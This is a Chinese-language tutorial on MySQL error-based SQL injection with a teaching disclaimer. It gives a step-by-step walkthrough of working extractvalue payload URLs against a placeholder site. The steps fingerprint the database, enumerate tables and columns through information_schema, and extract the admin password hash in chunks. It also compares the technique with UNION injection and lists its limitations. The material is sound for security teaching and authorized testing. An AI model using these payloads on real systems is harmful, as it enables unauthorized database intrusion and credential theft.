MySQL 报错注入 — 原理与注入流程
⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究,严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规,因不当使用本文知识造成的后果自负。
📋 目录导航
- 一、报错注入的本质原理
- 二、前置条件:错误回显方式
- 三、报错注入完整流程
- 四、报错注入 vs 联合查询注入对比
- 五、报错注入的局限性
本文档系统讲解报错注入的核心原理、前置条件、完整注入流程及实战注意事项。适用于安全研究和授权测试。
一、报错注入的本质原理
报错注入的本质是:故意调用一个"对参数有严格要求"的 MySQL 函数,把想窃取的数据拼进那个"会触发错误的参数"里,让 MySQL 在报错信息中把数据带回页面。
1.1 正常查询 vs 报错注入
正常查询的数据流:
用户输入 → 拼接进SQL → MySQL执行 → 结果集返回 → 页面展示数据联合查询注入依赖"回显位"——页面必须把查询结果打印出来。但如果页面不展示查询结果,只展示错误信息呢?联合查询就失效了,而报错注入正是在这种场景下发挥作用。
报错注入的数据流:
用户输入(含恶意函数) → 拼接进SQL → MySQL执行报错 → 错误信息中携带数据 → 页面展示错误1.2 报错注入的核心三步
整个攻击可以拆解为三步:
- 找到注入点:确认用户输入能被拼接到 SQL 语句中执行
- 构造报错函数调用:在原语句的参数位置嵌入报错函数(如
extractvalue、updatexml),把目标数据塞进报错函数的参数 - 从错误信息中提取数据:MySQL 报错时会把非法参数的内容原样显示在错误信息中
1.3 一个最小示例
-- 假设原SQL语句为:SELECT*FROMusersWHEREid='$id'-- 正常请求:?id=1-- SQL: SELECT * FROM users WHERE id = '1'-- 报错注入请求:?id=1' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))--+ -- 实际执行的SQL: SELECT * FROM users WHERE id = '1' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- '执行结果:
ERROR 1105 (HY000): XPATH syntax error: '~8.0.28~'MySQL 在报错信息中原样输出了~8.0.28~,其中8.0.28就是version()的返回值。0x7e是~的十六进制,用作数据标识符,方便从错误信息中定位提取。
1.4 报错注入的原理拆解
以extractvalue()为例,深入理解原理:
extractvalue(xml_document, xpath_string)函数的设计用途是从 XML 文档中提取 XPath 指定位置的值。第二个参数必须是合法的 XPath 路径表达式。当传入非法 XPath 时,MySQL 会报错并把"非法的 XPath 字符串"原样显示在错误信息中。
-- 正常用途:从XML中提取值SELECTextractvalue('<a><b>hello</b></a>','/a/b/text()');-- 结果:hello-- 注入用途:第二个参数传非法XPath,触发报错SELECTextractvalue(1,concat(0x7e,(SELECTuser()),0x7e));-- 结果:ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'攻击者利用的正是"错误信息会原样回显参数内容"这一特性。通过concat()把~+ 目标数据 +~拼成非法 XPath,MySQL 就会在报错时把数据带出来。
┌──────────────────────────────────────────────────────────┐ │ 报错注入原理图 │ ├──────────────────────────────────────────────────────────┤ │ │ │ 攻击者构造的Payload: │ │ extractvalue(1, concat(0x7e, (SELECT password │ │ FROM users LIMIT 0,1), 0x7e)) │ │ │ │ ┌──────────┐ ┌───────────┐ ┌──────────┐ │ │ │ concat() │───▶│ 拼接结果 │───▶│ 非法XPath│ │ │ └──────────┘ │~5f4dcc3..~│ └────┬─────┘ │ │ └───────────┘ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ MySQL报错 │ │ │ │ XPATH error │ │ │ │ ~5f4dcc3..~ │ │ │ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ 页面错误回显 │ │ │ │ 攻击者读取 │ │ │ └─────────────┘ │ │ │ └──────────────────────────────────────────────────────────┘二、前置条件:错误回显方式
报错注入能成功的前提条件是:页面必须把 MySQL 的错误信息显示出来。根据后端错误处理机制的不同,错误回显分为四种情况:
| 错误回显方式 | 说明 | 报错注入可行性 |
|---|---|---|
| 完整错误 | 显示详细错误信息(如XPATH syntax error: '~data~') | ✅ 最佳,报错注入首选 |
| 简略错误 | 只显示错误代码(如Error: 1105) | ⚠️ 无法直接获取数据 |
| 自定义错误 | 应用自定义的错误页面(如"系统繁忙") | ❌ 报错注入无效 |
| 无错误 | 完全不显示任何错误信息 | ❌ 报错注入无效 |
2.1 PHP 中的错误处理模式
// 模式1:完整错误回显(报错注入可利用)$conn=mysqli_connect("localhost","root","password","shop_db");$result=mysqli_query($conn,$sql);if(!$result){// 直接输出MySQL错误信息——报错注入可利用echo"Error: ".mysqli_error($conn);}// 模式2:简略错误(不可利用)if(!$result){echo"Error: ".mysqli_errno($conn);// 只输出错误号}// 模式3:自定义错误(不可利用)if(!$result){echo"系统繁忙,请稍后重试";// 自定义消息}// 模式4:静默错误(不可利用)if(!$result){// 不输出任何信息,错误只写日志error_log(mysqli_error($conn));}2.2 判断目标是否支持报错注入
发送一个简单的报错测试 Payload,观察页面响应:
-- 测试Payload(不携带敏感数据,仅验证报错回显)?id=1'ANDextractvalue(1,concat(0x7e,1,0x7e))--+如果页面出现类似XPATH syntax error: '~1~'的错误信息,说明目标支持报错注入。如果只显示通用错误页面或无任何输出,则需要切换到盲注。
三、报错注入完整流程
发现注入点 → 确认错误回显 → 判断闭合方式 → 探测版本选函数 → 获取基础信息 → 枚举库/表/列 → 拖取数据Step 1:发现注入点
与联合查询注入相同,首先确认用户输入能被拼接到 SQL 语句中执行。
-- 测试单引号 http://target.com/news.php?id=1' -- 如果报错 "You have an error in your SQL syntax..." → 存在注入 -- 测试逻辑真假 http://target.com/news.php?id=1 AND 1=1--+ -- 页面正常 http://target.com/news.php?id=1 AND 1=2--+ -- 页面异常/空Step 2:确认错误回显方式
发送报错测试 Payload,确认页面是否回显 MySQL 错误信息:
http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, 1, 0x7e))--+| 页面响应 | 判断 |
|---|---|
显示XPATH syntax error: '~1~' | ✅ 完整错误回显,可报错注入 |
显示Error: 1105 | ⚠️ 简略错误,需换函数或换注入方式 |
| 显示 “系统繁忙” | ❌ 自定义错误,报错注入无效 |
| 页面无变化 | ❌ 无错误回显,需盲注 |
Step 3:判断闭合方式
与联合查询注入完全相同,通过加引号或括号测试闭合方式。
-- 数字型 http://target.com/news.php?id=1 AND 1=1--+ -- 正常 http://target.com/news.php?id=1 AND 1=2--+ -- 异常 -- 单引号型 http://target.com/news.php?id=1' AND 1=1--+ -- 正常 http://target.com/news.php?id=1' AND 1=2--+ -- 异常 -- 单引号+括号型 http://target.com/news.php?id=1') AND 1=1--+ -- 正常报错注入与联合查询的闭合差异:报错注入不需要让原查询返回空,不需要负 ID 或
AND 1=2。因为报错注入的数据不是通过查询结果回显的,而是通过错误信息回显的。原查询返回什么数据不影响报错信息的输出。
Step 4:探测版本,选择报错函数
报错注入的第一条 Payload 应该是探测版本——这决定了后续使用哪些报错函数。
-- 用 extractvalue 探版本(一石二鸟:既验证函数可用性,又获取版本号) http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, version(), 0x7e))--+预期结果:
XPATH syntax error: '~5.7.28~'拿到版本号后,按以下决策树选择报错函数:
version() 返回 5.0 及以下 → floor(rand(0)*2) + count() + group by(可用但构造繁琐) → extractvalue / updatexml 不可用(5.1之前未引入) version() 返回 5.1 - 5.7 → extractvalue() / updatexml()(首选,简单稳定) → 备选:floor(rand(0)*2)、几何函数、exp() version() 返回 8.0.0 - 8.0.27 → 先试 extractvalue() / updatexml() → 失败则切到几何函数(multipoint / geometrycollection) version() 返回 8.0.28+ → extractvalue() / updatexml() 大概率被禁 → 几何函数是首选 → floor(rand()) 已失效 → 准备布尔盲注 / 时间盲注作为保底Step 5:获取基础信息
确认函数可用后,获取数据库指纹信息:
-- 获取数据库名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--+ -- 结果:XPATH syntax error: '~shop_db~' -- 获取当前用户 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, user(), 0x7e))--+ -- 结果:XPATH syntax error: '~root@localhost~' -- 获取操作系统 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, @@version_compile_os, 0x7e))--+ -- 结果:XPATH syntax error: '~Linux~'Step 6:枚举库/表/列
利用information_schema系统库枚举数据库结构。报错注入与联合查询在枚举逻辑上完全相同,区别仅在于数据是通过错误信息回显的。
-- 获取所有数据库名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 0x7e))--+ -- 结果:XPATH syntax error: '~information_schema,shop_db,mysql~' -- 获取当前库的所有表名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))--+ -- 结果:XPATH syntax error: '~users,products,orders,config~' -- 获取 users 表的所有列名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'), 0x7e))--+ -- 结果:XPATH syntax error: '~id,username,password,email,created~' -- 注意:32字符截断,可能只返回部分列名Step 7:拖取数据
从目标表中提取敏感数据:
-- 获取 admin 用户名和密码 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT CONCAT(username, ':', password) FROM users WHERE username='admin' LIMIT 0,1), 0x7e))--+ -- 结果:XPATH syntax error: '~admin:5f4dcc3b5aa765d61d8327~' -- 长数据分段提取(32字符限制) http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1), 1, 30), 0x7e))--+ -- 结果:XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf~' http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1), 31, 30), 0x7e))--+ -- 结果:XPATH syntax error: '~99~' -- 拼接完整密码:5f4dcc3b5aa765d61d8327deb882cf99四、报错注入 vs 联合查询注入对比
| 对比维度 | 联合查询注入 | 报错注入 |
|---|---|---|
| 前提条件 | 页面有查询结果回显位 | 页面有错误信息回显 |
| 需要判断列数 | ✅ 必须(ORDER BY 探测) | ❌ 不需要 |
| 需要找回显位 | ✅ 必须(负 ID 法等) | ❌ 不需要 |
| 需要让原查询为空 | ✅ 必须(id=-1 或 AND 1=2) | ❌ 不需要 |
| 数据回显方式 | 查询结果集中回显 | 错误信息中回显 |
| 数据长度限制 | GROUP_CONCAT 1024字节 | extractvalue/updatexml 32字符;floor/几何函数无限制 |
| 适用页面类型 | 有数据展示位的页面 | 有错误信息展示的页面 |
| 复杂度 | 中等(多步探测) | 较低(闭合→函数→数据) |
核心区别:联合查询注入需要页面有"正常数据展示位",报错注入只需要页面有"错误信息展示"。两者互补——如果页面既显示数据又显示错误,两种方法都可以用;如果页面只显示错误不显示数据,只能用报错注入;如果两者都不显示,只能用盲注。
五、报错注入的局限性
依赖错误回显:如果应用层屏蔽了数据库错误(生产环境最佳实践),报错注入完全失效
32 字符限制:
extractvalue()和updatexml()的报错回显最多 32 字符,长数据必须用SUBSTR()分段提取,增加请求次数版本依赖性强:不同 MySQL 版本下函数可用性差异大,8.0+ 对报错注入极不友好
WAF 拦截:报错函数名(
extractvalue、updatexml)和information_schema是 WAF 重点拦截对象噪音大:报错注入会在数据库日志中留下大量错误记录,容易被运维发现
⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究,严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规,因不当使用本文知识造成的后果自负。